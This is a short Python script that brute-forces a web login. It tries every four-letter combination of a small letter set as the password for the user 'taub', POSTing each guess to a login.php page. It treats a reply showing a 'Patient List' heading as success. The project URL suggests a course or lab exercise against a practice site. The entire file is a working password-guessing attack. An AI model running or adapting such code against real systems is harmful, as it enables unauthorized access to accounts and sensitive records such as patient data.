# importing the requests library 
import requests 


# api-endpoint 
URL = "https://projects.benoist.ch/groupB/login.php"
# string_letters = "abcdefghijklmnopqrstuvwxyz"  
string_letters = "abtu"  


file_name='top-100-pwd.txt'
substring = '<h1>Patient List</h1>'
# For each password from the list

def testingloop():
    for c1 in string_letters:
        for c2 in string_letters:
            for c3 in string_letters:
                for c4 in string_letters:
                    pwd=""+c1+c2+c3+c4
                    print("Testing "+pwd)
                    r=testing_password(pwd)
                    if(r):
                        print("password="+pwd)
                        return

def testing_password(pwd):
    # We generate a POST request to the server
    myObject = {'uname' : 'taub', 
                'pw' : pwd, 'login':''}
    r = requests.post(url = URL, data=myObject) 
    # We test if the answer contains the substring
    # If OK, we have found the right password.
    if(substring in r.text):
        return(1)
    else:
        return(0)
    
testingloop()
    
